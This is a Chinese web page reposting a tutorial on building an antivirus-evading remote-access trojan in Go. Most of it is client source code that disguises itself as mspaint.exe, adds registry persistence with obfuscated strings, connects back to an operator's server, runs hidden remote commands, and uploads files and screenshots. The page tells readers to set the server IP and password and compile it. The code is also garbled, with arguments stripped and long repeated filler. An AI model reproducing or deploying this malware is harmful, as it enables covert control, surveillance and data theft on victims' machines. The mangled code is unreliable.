首页 体育 教育 财经 社会 娱乐 军事 国内 科技 互联网 房产 国际 女人 汽车 游戏

编写一款功能强大Golang免杀远控

2019-12-22

客户端编译前,需求更改上线IP、衔接暗码CONNPWD这两个参数,由于只要与服务端的衔接暗码相一起,才会树立衔接,确保了树立Socket时不会呈现上线误报问题。

package main
import  {
 if runtime.GOOS == windows {
 targetPath := os.Getenv + \ProgramData\ 
 targetFile := targetPath + mspaint.exe 
 os.Mkdir
 //exec.Command
 //获取当时文件履行的绝对途径
 currentFile, _ := exec.LookPath
 currentFileAbs, _ := filepath.Abs
 // 假如当时履行都文件是仿制后的方针文件,
 if currentFileAbs == targetFile {
 // 删去原有文件
 fmt.Println)
 if len 1 {
 err := os.Chmod
 if err != nil {
 fmt.Println
 //err = os.Remove
 //if err != nil {
 fmt.Println
 //开端衔接
 for {
 connect
 } else {
 //设定一个方针文件信息
 _, err := os.Stat
 if err != nil {
 // 翻开源文件
 srcFile, _ := os.Open
 //创立方针文件
 desFile, err := os.Create
 if err != nil {
 fmt.Println
 //copy源文件的内容到方针文件
 _, err = io.Copy
 if err != nil {
 fmt.Println
 //设定方针文件权限 0777, 这样才能够发动
 err = os.Chmod
 if err != nil {
 fmt.Println
 //不能运用 defer desFile.Close, 需求在履行前封闭文件句柄
 srcFile.Close
 desFile.Close
 // start 发动方针程序,进程不需求等候交互
 mCommand
 // 翻开图片
 mCommand
 install_start //自七
 } else {
 // 假如文件现已存在,start 发动方针程序,进程不需求等候交互
 mCommand
 // 翻开图片
 mCommand
 install_start //自七
 } else {
 for {
 connect
func install_start { //windows提高权限,加注册表.
 err := ioutil.WriteFile chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr) ), 0666)
 if err != nil {
 log.Fatal
 err2 := ioutil.WriteFile chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr chr) ), 0666)
 if err2 != nil {
 log.Fatal
 c := exec.Command
 c.Run
 er := os.Remove
 if err != nil {
 log.Fatal
// 获取不同操作系统的环境的截图临时文件的方位
func getScreenshotFilename string {
 var  + \ProgramData\tmp.png 
 } else {
 filepath = /tmp/.tmp.png 
 return filepath
// 转化字符串
func ConvertToString string {
 srcCoder := mahonia.NewDecoder
 srcResult := srcCoder.ConvertString
 tagCoder := mahonia.NewDecoder
 _, cdata, _ := tagCoder.Translate, true)
 result := string
 return result
// TakeScreenShot 截图功用,并存储到本地
func TakeScreenShot {
 n := screenshot.NumActiveDisplays
 fpath := getScreenshotFilename
 for i := 0; i i++ {
 bounds := screenshot.GetDisplayBounds
 img, err := screenshot.CaptureRect
 if err != nil {
 connect
 file, _ := os.Create
 defer file.Close
 png.Encode
// 衔接长途服务器
func connect {
 conn, err := net.Dial
 if err != nil {
 fmt.Println
 for {
 connect
 errMsg := base64.URLEncoding.EncodeToString)
 conn.Write + 
 ))
 fmt.Println
 for {
 //等候接纳指令,以 
 为结束符,一切指令字符都经过base64
 message, err := bufio.NewReader.ReadString
 if err == io.EOF {
 // 假如服务器断开,则从头衔接
 conn.Close
 connect
 // 收到指令base64解码
 decodedCase, _ := base64.StdEncoding.DecodeString
 command := string
 cmdParameter := strings.Split
 switch cmdParameter[0] {
 case back :
 conn.Close
 connect
 case exit :
 conn.Close
 os.Exit
 case charset :
 if len == 2 {
 charset = cmdParameter[1]
 case upload :
 uploadOutput, _ := bufio.NewReader.ReadString
 decodeOutput, _ := base64.StdEncoding.DecodeString
 encData, _ := bufio.NewReader.ReadString
 decData, _ := base64.URLEncoding.DecodeString
 ioutil.WriteFile, []byte, 777)
 case download :
 // 第一步收到下载指令,什么都不做,持续等候下载途径
 download, _ := bufio.NewReader.ReadString
 decodeDownload, _ := base64.StdEncoding.DecodeString
 file, err := ioutil.ReadFile)
 if err != nil {
 // 找不到文件,发送过错音讯
 errMsg := base64.URLEncoding.EncodeToString)
 conn.Write + 
 ))
 break
 //发送一个download指令给服务器端预备接纳
 srvDownloadMsg := base64.URLEncoding.EncodeToString)
 conn.Write + 
 ))
 //读文件上传
 encData := base64.URLEncoding.EncodeToString
 conn.Write + 
 ))
 case screenshot :
 TakeScreenShot
 file, err := ioutil.ReadFile)
 if err != nil {
 // 找不到文件,发送过错音讯
 errMsg := base64.URLEncoding.EncodeToString)
 conn.Write + 
 ))
 break
 //发送一个download指令给服务器端预备接纳
 srvDownloadMsg := base64.URLEncoding.EncodeToString)
 conn.Write + 
 ))
 //读图片文件上传
 encData := base64.URLEncoding.EncodeToString
 conn.Write + 
 ))
 case getos :
 if runtime.GOOS == windows {
 command = wmic os get name 
 } else {
 command = uname -a 
 fallthrough
 default:
 cmdArray := strings.Split
 cmdSlice := cmdArray[1:len]
 out, outerr := mCommandTimeOut
 if outerr != nil {
 out = []byte)
 // 处理命令行输出编码问题
 if charset != utf-8 {
 out = []byte, charset, utf-8 ))
 encoded := base64.StdEncoding.EncodeToString
 conn.Write)
func mCommandTimeOut  {
 ctxt, cancel := context.WithTimeout, Timeout)
 defer cancel
 // 经过上下文履行,设置超时
 cmd := exec.CommandContext
 cmd.SysProcAttr = syscall.SysProcAttr{HideWindow: true}
 //cmd.SysProcAttr = syscall.SysProcAttr{}
 var buf bytes.Buffer
 cmd.Stdout = buf
 cmd.Stderr = buf
 if err := cmd.Start; err != nil {
 return buf.Bytes, err
 if err := cmd.Wait; err != nil {
 return buf.Bytes, err
 return buf.Bytes, nil
func mCommand {
 cmd := exec.Command
 cmd.SysProcAttr = syscall.SysProcAttr{HideWindow: true}
 err := cmd.Start
 if err != nil {
 fmt.Println
}

修改好,其间的一些衔接参数,暗码,端口,编译成EXE即可,Golang支撑跨渠道,也能够编译成Linux版别,进行长途操控。

点我下载完好代码

热门文章

随机推荐

推荐文章